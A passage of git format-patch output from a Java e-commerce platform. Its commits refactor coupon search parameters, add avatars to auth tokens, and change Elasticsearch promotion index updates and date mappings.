cn.lili.modules.promotion.mapper.KanJiaActivityMapper; import cn.lili.modules.promotion.service.KanjiaActivityGoodsService; diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java index 0b305710..acea35dc 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/MemberCouponServiceImpl.java @@ -7,11 +7,11 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; import cn.lili.modules.promotion.entity.dos.MemberCoupon; +import cn.lili.modules.promotion.entity.dto.search.MemberCouponSearchParams; import cn.lili.modules.promotion.entity.enums.CouponGetEnum; import cn.lili.modules.promotion.entity.enums.MemberCouponStatusEnum; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; -import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.mapper.MemberCouponMapper; import cn.lili.modules.promotion.service.CouponService; import cn.lili.modules.promotion.service.MemberCouponService; @@ -92,20 +92,20 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCoupons(CouponSearchParams param, PageVO pageVo) { + public IPage getMemberCoupons(MemberCouponSearchParams param, PageVO pageVo) { QueryWrapper queryWrapper = param.queryWrapper(); return this.page(PageUtil.initPage(pageVo), queryWrapper); } + /** + * 获取会员优惠券列表 + * + * @param param 查询参数 + * @return 会员优惠券列表 + */ @Override - public List getMemberCoupons() { - AuthUser authUser = Objects.requireNonNull(UserContext.getCurrentUser()); - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); - queryWrapper.eq(MemberCoupon::getMemberId, authUser.getId()); - queryWrapper.eq(MemberCoupon::getMemberCouponStatus, MemberCouponStatusEnum.NEW.name()); - queryWrapper.le(MemberCoupon::getStartTime, new Date()); - queryWrapper.ge(MemberCoupon::getEndTime, new Date()); - return this.list(queryWrapper); + public List getMemberCoupons(MemberCouponSearchParams param) { + return this.list(param.queryWrapper()); } /** @@ -116,7 +116,7 @@ public class MemberCouponServiceImpl extends ServiceImpl getMemberCouponsByCanUse(CouponSearchParams param, Double totalPrice, PageVO pageVo) { + public IPage getMemberCouponsByCanUse(MemberCouponSearchParams param, Double totalPrice, PageVO pageVo) { LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); List storeIds = new ArrayList<>(Arrays.asList(param.getStoreId().split(","))); storeIds.add(PromotionTools.PLATFORM_ID); diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java index deb9abcb..4f06e820 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/PintuanServiceImpl.java @@ -16,12 +16,12 @@ import cn.lili.modules.order.order.entity.enums.PayStatusEnum; import cn.lili.modules.order.order.service.OrderService; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import cn.lili.modules.promotion.entity.dto.search.PromotionGoodsSearchParams; import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; import cn.lili.modules.promotion.mapper.PintuanMapper; import cn.lili.modules.promotion.service.PintuanService; import cn.lili.modules.promotion.service.PromotionGoodsService; @@ -204,10 +204,11 @@ public class PintuanServiceImpl extends AbstractPromotionsServiceImpl Date: Wed, 29 Dec 2021 12:19:17 +0800 Subject: [PATCH 117/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E4=BF=83=E9=94=80?= =?UTF-8?q?=E6=9B=B4=E6=96=B0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../promotion/serviceimpl/AbstractPromotionsServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java index e05fa0a4..768cf01a 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/promotion/serviceimpl/AbstractPromotionsServiceImpl.java @@ -224,7 +224,7 @@ public abstract class AbstractPromotionsServiceImpl, T e this.promotionGoodsService.deletePromotionGoods(Collections.singletonList(promotions.getId())); return true; } - boolean result = false; + boolean result = true; if (CharSequenceUtil.equalsAny(promotions.getScopeType(), PromotionsScopeTypeEnum.ALL.name(), PromotionsScopeTypeEnum.PORTION_GOODS_CATEGORY.name())) { PromotionGoods promotionGoods = new PromotionGoods(); promotionGoods.setScopeId(promotions.getScopeId()); From ff158fd0e45f5c45db1a88d2d0b3c1e92865a967 Mon Sep 17 00:00:00 2001 From: Chopper Date: Wed, 29 Dec 2021 17:45:31 +0800 Subject: [PATCH 118/145] =?UTF-8?q?token=E4=B8=AD=E5=A2=9E=E5=8A=A0?= =?UTF-8?q?=E5=A4=B4=E5=83=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../main/java/cn/lili/common/security/AuthUser.java | 11 +++++++++-- .../modules/member/token/MemberTokenGenerate.java | 2 +- .../lili/modules/member/token/StoreTokenGenerate.java | 3 ++- .../modules/system/token/ManagerTokenGenerate.java | 2 +- 4 files changed, 13 insertions(+), 5 deletions(-) diff --git a/framework/src/main/java/cn/lili/common/security/AuthUser.java b/framework/src/main/java/cn/lili/common/security/AuthUser.java index 7364421f..eb170192 100644 --- a/framework/src/main/java/cn/lili/common/security/AuthUser.java +++ b/framework/src/main/java/cn/lili/common/security/AuthUser.java @@ -25,6 +25,11 @@ public class AuthUser implements Serializable { */ private String nickName; + /** + * 头像 + */ + private String face; + /** * id */ @@ -58,16 +63,18 @@ public class AuthUser implements Serializable { */ private Boolean isSuper = false; - public AuthUser(String username, String id, String nickName, UserEnums role) { + public AuthUser(String username, String id, String nickName, String face, UserEnums role) { this.username = username; + this.face = face; this.id = id; this.role = role; this.nickName = nickName; } - public AuthUser(String username, String id, UserEnums manager, String nickName, Boolean isSuper) { + public AuthUser(String username, String id, String face, UserEnums manager, String nickName, Boolean isSuper) { this.username = username; this.id = id; + this.face = face; this.role = manager; this.isSuper = isSuper; this.nickName = nickName; diff --git a/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java b/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java index 9e2b13da..79528c99 100644 --- a/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/member/token/MemberTokenGenerate.java @@ -52,7 +52,7 @@ public class MemberTokenGenerate extends AbstractTokenGenerate { member.setClientEnum(clientTypeEnum.name()); memberService.updateById(member); - AuthUser authUser = new AuthUser(member.getUsername(), member.getId(),member.getNickName(), UserEnums.MEMBER); + AuthUser authUser = new AuthUser(member.getUsername(), member.getId(), member.getNickName(), member.getFace(), UserEnums.MEMBER); //登陆成功生成token return tokenUtil.createToken(username, authUser, longTerm, UserEnums.MEMBER); } diff --git a/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java b/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java index 9d10db60..a1a2c595 100644 --- a/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/member/token/StoreTokenGenerate.java @@ -38,10 +38,11 @@ public class StoreTokenGenerate extends AbstractTokenGenerate { if (!member.getHaveStore()) { throw new ServiceException(ResultCode.STORE_NOT_OPEN); } - AuthUser user = new AuthUser(member.getUsername(), member.getId(), member.getNickName(), UserEnums.STORE); LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); queryWrapper.eq(Store::getMemberId, member.getId()); Store store = storeService.getOne(queryWrapper); + AuthUser user = new AuthUser(member.getUsername(), member.getId(), member.getNickName(), store.getStoreLogo(), UserEnums.STORE); + user.setStoreId(store.getId()); user.setStoreName(store.getStoreName()); return tokenUtil.createToken(username, user, longTerm, UserEnums.STORE); diff --git a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java index a8d96caa..f88ff534 100644 --- a/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java +++ b/framework/src/main/java/cn/lili/modules/system/token/ManagerTokenGenerate.java @@ -45,7 +45,7 @@ public class ManagerTokenGenerate extends AbstractTokenGenerate { public Token createToken(String username, Boolean longTerm) { //生成token AdminUser adminUser = adminUserService.findByUsername(username); - AuthUser user = new AuthUser(adminUser.getUsername(), adminUser.getId(), UserEnums.MANAGER, adminUser.getNickName(), adminUser.getIsSuper()); + AuthUser user = new AuthUser(adminUser.getUsername(), adminUser.getId(), adminUser.getAvatar(), UserEnums.MANAGER, adminUser.getNickName(), adminUser.getIsSuper()); List userMenuVOList = roleMenuService.findAllMenu(user.getId()); From 9f6d33f6e8a0a5bc8bf5e591c014e3c7c04bfbec Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 17:53:40 +0800 Subject: [PATCH 119/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E7=B4=A2=E5=BC=95=E4=BF=83=E9=94=80=E6=96=B9=E5=BC=8F=EF=BC=8C?= =?UTF-8?q?=E4=BB=A5=E6=9B=B4=E6=96=B0=E9=83=A8=E5=88=86=E5=AD=97=E6=AE=B5?= =?UTF-8?q?=E7=9A=84=E6=96=B9=E5=BC=8F=E6=9B=B4=E6=96=B0=E3=80=82=E4=B8=8D?= =?UTF-8?q?=E5=9C=A8=E4=BB=A5=E5=88=B7=E6=96=B0=E7=B4=A2=E5=BC=95=E7=9A=84?= =?UTF-8?q?=E6=96=B9=E5=BC=8F=E6=9B=B4=E6=96=B0=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../lili/listener/GoodsMessageListener.java | 1 + .../promotion/entity/dos/BasePromotions.java | 5 ++++ .../serviceimpl/EsGoodsIndexServiceImpl.java | 27 ++++++++++++++++--- .../main/java/cn/lili/mybatis/BaseEntity.java | 5 ++++ 4 files changed, 34 insertions(+), 4 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 790b3b9d..f7a369b0 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -259,6 +259,7 @@ public class GoodsMessageListener implements RocketMQListener { searchParams.setCategoryPath(promotions.getScopeId()); List goodsSkuByList = this.goodsSkuService.getGoodsSkuByList(searchParams); List skuIds = goodsSkuByList.stream().map(GoodsSku::getId).collect(Collectors.toList()); + this.goodsIndexService.deleteEsGoodsPromotionByPromotionId(skuIds, promotions.getId()); this.goodsIndexService.updateEsGoodsIndexPromotions(skuIds, promotions, esPromotionKey); } else if (PromotionsScopeTypeEnum.ALL.name().equals(promotions.getScopeType())) { this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java index 0ec44505..f3366dde 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/BasePromotions.java @@ -7,6 +7,9 @@ import com.fasterxml.jackson.annotation.JsonFormat; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import javax.validation.constraints.NotEmpty; import java.util.Date; @@ -35,10 +38,12 @@ public class BasePromotions extends BaseEntity { @ApiModelProperty(value = "活动开始时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "活动结束时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; /** diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 35519572..86853a28 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -425,6 +425,8 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements // 查询出全部商品 goodsIndices = new ArrayList<>(IterableUtil.toCollection(all)); } + List skuIds = goodsIndices.stream().map(EsGoodsIndex::getId).collect(Collectors.toList()); + this.deleteEsGoodsPromotionByPromotionId(skuIds, promotion.getId()); //更新商品索引 for (EsGoodsIndex goodsIndex : goodsIndices) { this.updateGoodsIndexPromotion(goodsIndex, key, promotion); @@ -481,11 +483,11 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements private void removePromotionByPromotionId(EsGoodsIndex goodsIndex, String promotionId) { Map promotionMap = goodsIndex.getPromotionMap(); if (promotionMap != null && !promotionMap.isEmpty()) { - //如果存在同类型促销活动删除 + //如果存在同促销ID的活动删除 List collect = promotionMap.keySet().stream().filter(i -> i.split("-")[1].equals(promotionId)).collect(Collectors.toList()); collect.forEach(promotionMap::remove); goodsIndex.setPromotionMap(promotionMap); - updateIndex(goodsIndex); + this.updatePromotionsByScript(goodsIndex.getId(), promotionMap); } } @@ -611,8 +613,25 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements } else { promotionMap.put(key, promotion); } - goodsIndex.setPromotionMap(promotionMap); - updateIndex(goodsIndex); + this.updatePromotionsByScript(goodsIndex.getId(), promotionMap); + } + + /** + * 以更新部分字段的方式更新索引促销信息 + * + * @param id 索引id + * @param promotionMap 促销信息 + */ + private void updatePromotionsByScript(String id, Map promotionMap) { + JSONObject jsonObject = JSONUtil.parseObj(promotionMap); + jsonObject.setDateFormat("yyyy-MM-dd HH:mm:ss"); + String s = jsonObject.toString(); + String promotionsStr = s.replace("{", "[").replace("}", "]"); + + UpdateByQueryRequest update = new UpdateByQueryRequest(getIndexName()); + update.setQuery(QueryBuilders.boolQuery().filter(QueryBuilders.termsQuery("id", id))); + update.setScript(new Script("ctx._source." + "promotionMap" + "=" + promotionsStr + ";")); + client.updateByQueryAsync(update, RequestOptions.DEFAULT, this.actionListener()); } /** diff --git a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java index 44dbf740..ab73d591 100644 --- a/framework/src/main/java/cn/lili/mybatis/BaseEntity.java +++ b/framework/src/main/java/cn/lili/mybatis/BaseEntity.java @@ -13,6 +13,9 @@ import org.springframework.data.annotation.CreatedBy; import org.springframework.data.annotation.CreatedDate; import org.springframework.data.annotation.LastModifiedBy; import org.springframework.data.annotation.LastModifiedDate; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import org.springframework.format.annotation.DateTimeFormat; import java.io.Serializable; @@ -50,6 +53,7 @@ public abstract class BaseEntity implements Serializable { @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @TableField(fill = FieldFill.INSERT) @ApiModelProperty(value = "创建时间", hidden = true) + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date createTime; @LastModifiedBy @@ -62,6 +66,7 @@ public abstract class BaseEntity implements Serializable { @DateTimeFormat(pattern = "yyyy-MM-dd HH:mm:ss") @TableField(fill = FieldFill.UPDATE) @ApiModelProperty(value = "更新时间", hidden = true) + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date updateTime; @TableField(fill = FieldFill.INSERT) From 07f5fbca4737fa9a92f1a0ebc6a2868e0e7d31ed Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 18:11:28 +0800 Subject: [PATCH 120/145] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E5=BC=82=E6=AD=A5?= =?UTF-8?q?=E6=9B=B4=E6=96=B0=E6=97=A5=E5=BF=97=E6=98=BE=E7=A4=BA=E7=BA=A7?= =?UTF-8?q?=E5=88=AB?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../modules/search/serviceimpl/EsGoodsIndexServiceImpl.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 86853a28..67040823 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -732,7 +732,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements return new ActionListener() { @Override public void onResponse(BulkByScrollResponse bulkByScrollResponse) { - log.debug("UpdateByQueryResponse: {}", bulkByScrollResponse); + log.info("UpdateByQueryResponse: {}", bulkByScrollResponse); } @Override From 5e1eb3e03b93341360da861444b22c34e8d225c2 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 19:48:09 +0800 Subject: [PATCH 121/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E7=B4=A2=E5=BC=95=E4=BF=83=E9=94=80=E6=96=B9=E5=BC=8F=EF=BC=8C?= =?UTF-8?q?=E4=BB=A5=E6=9B=B4=E6=96=B0=E9=83=A8=E5=88=86=E5=AD=97=E6=AE=B5?= =?UTF-8?q?=E7=9A=84=E6=96=B9=E5=BC=8F=E6=9B=B4=E6=96=B0=E3=80=82=E4=B8=8D?= =?UTF-8?q?=E5=9C=A8=E4=BB=A5=E5=88=B7=E6=96=B0=E7=B4=A2=E5=BC=95=E7=9A=84?= =?UTF-8?q?=E6=96=B9=E5=BC=8F=E6=9B=B4=E6=96=B0=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/listener/GoodsMessageListener.java | 3 +-- .../serviceimpl/EsGoodsIndexServiceImpl.java | 16 +++++++++++----- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index f7a369b0..69dfb622 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -2,7 +2,6 @@ package cn.lili.listener; import cn.hutool.core.map.MapUtil; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.core.thread.ThreadUtil; import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.ClassLoaderUtil; import cn.hutool.json.JSONObject; @@ -141,7 +140,7 @@ public class GoodsMessageListener implements RocketMQListener { } break; case UPDATE_GOODS_INDEX_PROMOTIONS: - ThreadUtil.execAsync(() -> this.updateGoodsIndexPromotions(new String(messageExt.getBody()))); + this.updateGoodsIndexPromotions(new String(messageExt.getBody())); break; case DELETE_GOODS_INDEX_PROMOTIONS: BasePromotions promotions = JSONUtil.toBean(new String(messageExt.getBody()), BasePromotions.class); diff --git a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java index 67040823..629ae01a 100644 --- a/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/search/serviceimpl/EsGoodsIndexServiceImpl.java @@ -619,7 +619,7 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements /** * 以更新部分字段的方式更新索引促销信息 * - * @param id 索引id + * @param id 索引id * @param promotionMap 促销信息 */ private void updatePromotionsByScript(String id, Map promotionMap) { @@ -628,10 +628,16 @@ public class EsGoodsIndexServiceImpl extends BaseElasticsearchService implements String s = jsonObject.toString(); String promotionsStr = s.replace("{", "[").replace("}", "]"); - UpdateByQueryRequest update = new UpdateByQueryRequest(getIndexName()); - update.setQuery(QueryBuilders.boolQuery().filter(QueryBuilders.termsQuery("id", id))); - update.setScript(new Script("ctx._source." + "promotionMap" + "=" + promotionsStr + ";")); - client.updateByQueryAsync(update, RequestOptions.DEFAULT, this.actionListener()); + UpdateRequest updateRequest = new UpdateRequest(); + updateRequest.index(getIndexName()); + updateRequest.id(id); + updateRequest.retryOnConflict(5); + updateRequest.script(new Script("ctx._source." + "promotionMap" + "=" + promotionsStr + ";")); + try { + client.update(updateRequest, RequestOptions.DEFAULT); + } catch (IOException e) { + log.error("更新商品索引促销信息错误", e); + } } /** From c8272ec90d777bf32e8842dbd49d2de5e3250c71 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 20:06:20 +0800 Subject: [PATCH 122/145] =?UTF-8?q?=E4=BC=98=E5=8C=96=E6=9B=B4=E6=96=B0?= =?UTF-8?q?=E7=B4=A2=E5=BC=95=E5=A4=B1=E8=B4=A5=E5=BC=82=E5=B8=B8=E4=BF=A1?= =?UTF-8?q?=E6=81=AF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../src/main/java/cn/lili/listener/GoodsMessageListener.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java index 69dfb622..ce934a8f 100644 --- a/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java +++ b/consumer/src/main/java/cn/lili/listener/GoodsMessageListener.java @@ -264,7 +264,7 @@ public class GoodsMessageListener implements RocketMQListener { this.goodsIndexService.updateEsGoodsIndexAllByList(promotions, esPromotionKey); } } catch (Exception e) { - log.error("生成商品索引促销信息执行异常,参数信息 {}", promotionsJsonStr); + log.error("生成商品索引促销信息执行异常",e); } } From 125bb372ede7b88a5ae0f63fb818a67e023a4445 Mon Sep 17 00:00:00 2001 From: paulGao Date: Wed, 29 Dec 2021 20:15:36 +0800 Subject: [PATCH 123/145] =?UTF-8?q?=E5=A2=9E=E5=8A=A0=E7=B4=A2=E5=BC=95?= =?UTF-8?q?=E6=97=B6=E9=97=B4=E6=A0=BC=E5=BC=8F=E5=8C=96=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../cn/lili/modules/promotion/entity/dos/MemberCoupon.java | 6 ++++++ .../lili/modules/promotion/entity/dos/PromotionGoods.java | 5 +++++ .../java/cn/lili/modules/promotion/entity/dos/Seckill.java | 4 ++++ 3 files changed, 15 insertions(+) diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java index a726e780..6eeff349 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/MemberCoupon.java @@ -13,6 +13,9 @@ import io.swagger.annotations.ApiModel; import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.util.Date; @@ -74,10 +77,12 @@ public class MemberCoupon extends BaseEntity { @ApiModelProperty(value = "使用起始时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "使用截止时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; /** * @see cn.lili.modules.promotion.entity.enums.CouponGetEnum @@ -93,6 +98,7 @@ public class MemberCoupon extends BaseEntity { @ApiModelProperty(value = "核销时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date consumptionTime; /** diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java index 427bccb7..8482ee60 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/PromotionGoods.java @@ -13,6 +13,9 @@ import io.swagger.annotations.ApiModelProperty; import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import java.util.Date; @@ -51,10 +54,12 @@ public class PromotionGoods extends BaseEntity { @ApiModelProperty(value = "活动开始时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date startTime; @ApiModelProperty(value = "活动结束时间") @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date endTime; @ApiModelProperty(value = "活动id") diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java index 75b21f8c..fbe4232d 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/dos/Seckill.java @@ -13,6 +13,9 @@ import lombok.Data; import lombok.EqualsAndHashCode; import lombok.NoArgsConstructor; import org.springframework.beans.BeanUtils; +import org.springframework.data.elasticsearch.annotations.DateFormat; +import org.springframework.data.elasticsearch.annotations.Field; +import org.springframework.data.elasticsearch.annotations.FieldType; import javax.validation.constraints.NotNull; import java.util.Date; @@ -35,6 +38,7 @@ public class Seckill extends BasePromotions { @NotNull(message = "请填写报名截止时间") @ApiModelProperty(value = "报名截至时间", required = true) @JsonFormat(timezone = "GMT+8", pattern = "yyyy-MM-dd HH:mm:ss") + @Field(type = FieldType.Date, format = DateFormat.custom, pattern = "yyyy-MM-dd HH:mm:ss || yyyy-MM-dd || yyyy/MM/dd HH:mm:ss|| yyyy/MM/dd ||epoch_millis") private Date applyEndTime; @ApiModelProperty(value = "申请规则") From 5a6012530eefb62a5d25a5da55a42983fef42cfe Mon Sep 17 00:00:00 2001 From: paulGao Date: Thu, 30 Dec 2021 02:28:27 +0800 Subject: [PATCH 124/145] =?UTF-8?q?=E9=80=82=E9=85=8D=E4=BC=98=E5=8C=96?= =?UTF-8?q?=E6=9B=B4=E6=96=B0=E7=B4=A2=E5=BC=95=E4=BF=83=E9=94=80=E6=96=B9?= =?UTF-8?q?=E5=BC=8F=E7=9A=84=E7=BB=93=E7=AE=97=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 